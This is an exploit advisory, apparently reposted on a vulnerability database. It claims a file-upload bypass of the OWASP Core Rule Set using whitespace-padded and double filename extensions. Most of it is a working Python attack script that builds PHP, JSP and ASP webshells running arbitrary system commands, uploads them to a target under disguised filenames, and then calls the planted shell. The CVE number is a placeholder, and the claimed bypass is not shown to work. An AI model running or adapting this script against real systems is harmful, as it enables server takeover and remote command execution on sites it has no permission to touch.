==================================================================================================================================
| # Title : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace / Extension Parsing Weakness |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://owasp.org/ |
==================================================================================================================================
[+] Summary : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import os
from urllib.parse import urljoin
class CRSBypassExploit:
def __init__(self, target_url, upload_endpoint, verbose=False):
self.target_url = target_url.rstrip('/')
self.upload_endpoint = upload_endpoint
self.verbose = verbose
self.session = requests.Session()
def log(self, message, level="INFO"):
if self.verbose or level == "ERROR":
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
def generate_webshell_php(self, cmd_param="cmd"):
return f"""<?php
if (isset($_REQUEST['{cmd_param}'])) {{
$cmd = $_REQUEST['{cmd_param}'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}} else {{
echo "Webshell loaded. Use ?{cmd_param}=command";
}}
?>"""
def generate_webshell_jsp(self, cmd_param="cmd"):
return f"""<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("{cmd_param}");
if (cmd != null) {{
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {{
out.println(line);
}}
}}
%>"""
def generate_webshell_asp(self, cmd_param="cmd"):
return f"""<%
Dim cmd
cmd = Request("{cmd_param}")
If cmd <> "" Then
CreateObject("WScript.Shell").Run cmd, 0, True
End If
%>"""
def upload_file(self, file_content, original_filename, extension, whitespace_position="before"):
if whitespace_position == "before":
filename = f"{original_filename}. {extension}"
elif whitespace_position == "after":
filename = f"{original_filename}.{extension} "
elif whitespace_position == "both":
filename = f"{original_filename}. {extension} "
elif whitespace_position == "double":
filename = f"{original_filename}.{extension} "
else:
filename = f"{original_filename}.{extension}"
files = {
'file': (filename, file_content,
'application/x-httpd-php' if extension == 'php' else 'application/x-jsp')
}
try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)
self.log(f"Uploaded: {filename}", "INFO")
self.log(f"Response status: {response.status_code}", "INFO")
return {
'success': response.status_code < 400,
'filename': filename,
'response': response.text,
'status_code': response.status_code
}
except Exception as e:
self.log(f"Upload failed: {e}", "ERROR")
return None
def exploit_php(self, original_filename="shell"):
self.log("Attempting PHP webshell upload...", "INFO")
content = self.generate_webshell_php()
patterns = ['before', 'after', 'both', 'double']
for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "php", pattern)
if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result
self.log("All PHP patterns failed", "WARNING")
return None
def exploit_jsp(self, original_filename="shell"):
self.log("Attempting JSP webshell upload...", "INFO")
content = self.generate_webshell_jsp()
patterns = ['before', 'after', 'both', 'double']
for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "jsp", pattern)
if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result
self.log("All JSP patterns failed", "WARNING")
return None
def test_webshell(self, upload_path, cmd="whoami"):
try:
url = urljoin(self.target_url, upload_path)
response = self.session.get(url, params={'cmd': cmd})
if response.status_code == 200 and response.text:
self.log(f"Webshell working! Command output: {response.text[:200]}", "SUCCESS")
return True
else:
self.log("Webshell test failed", "WARNING")
return False
except Exception as e:
self.log(f"Test failed: {e}", "ERROR")
return False
def exploit_double_extension(self):
self.log("Attempting double-extension bypass...", "INFO")
content = self.generate_webshell_php()
filename = "shell. php.jpg"
files = {
'file': (filename, content, 'image/jpeg')
}
try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)
if response.status_code < 400:
self.log(f"Double-extension upload successful: {filename}", "SUCCESS")
return {
'success': True,
'filename': filename,
'status_code': response.status_code
}
else:
self.log("Double-extension upload failed", "WARNING")
return None
except Exception as e:
self.log(f"Double-extension upload failed: {e}", "ERROR")
return None
def main():
parser = argparse.ArgumentParser(description='OWASP CRS Bypass Exploit - File Upload with Whitespace Padding')
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-e', '--endpoint', default='/upload')
parser.add_argument('-t', '--type', choices=['php', 'jsp', 'both'], default='both')
parser.add_argument('-v', '--verbose', action='store_true')
parser.add_argument('-c', '--command', default='whoami')
args = parser.parse_args()
print("=" * 60)
print("OWASP CRS Bypass Exploit - CVE-2025-XXXXX")
print("=" * 60)
exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)
results = []
if args.type in ['php', 'both']:
result = exploit.exploit_php()
if result:
results.append(('PHP', result))
if args.type in ['jsp', 'both']:
result = exploit.exploit_jsp()
if result:
results.append(('JSP', result))
double_result = exploit.exploit_double_extension()
if double_result:
results.append(('Double Extension', double_result))
if results:
print("\n" + "=" * 60)
print("EXPLOITATION SUMMARY")
print("=" * 60)
for exploit_type, result in results:
print(f"\n[+] {exploit_type} exploit successful!")
print(f" Filename: {result.get('filename')}")
print(f" Status: {result.get('status_code', 'N/A')}")
print(f"\n[*] Testing webshell with command: {args.command}")
exploit.test_webshell(result.get('filename'), args.command)
else:
print("\n[-] Exploitation failed!")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation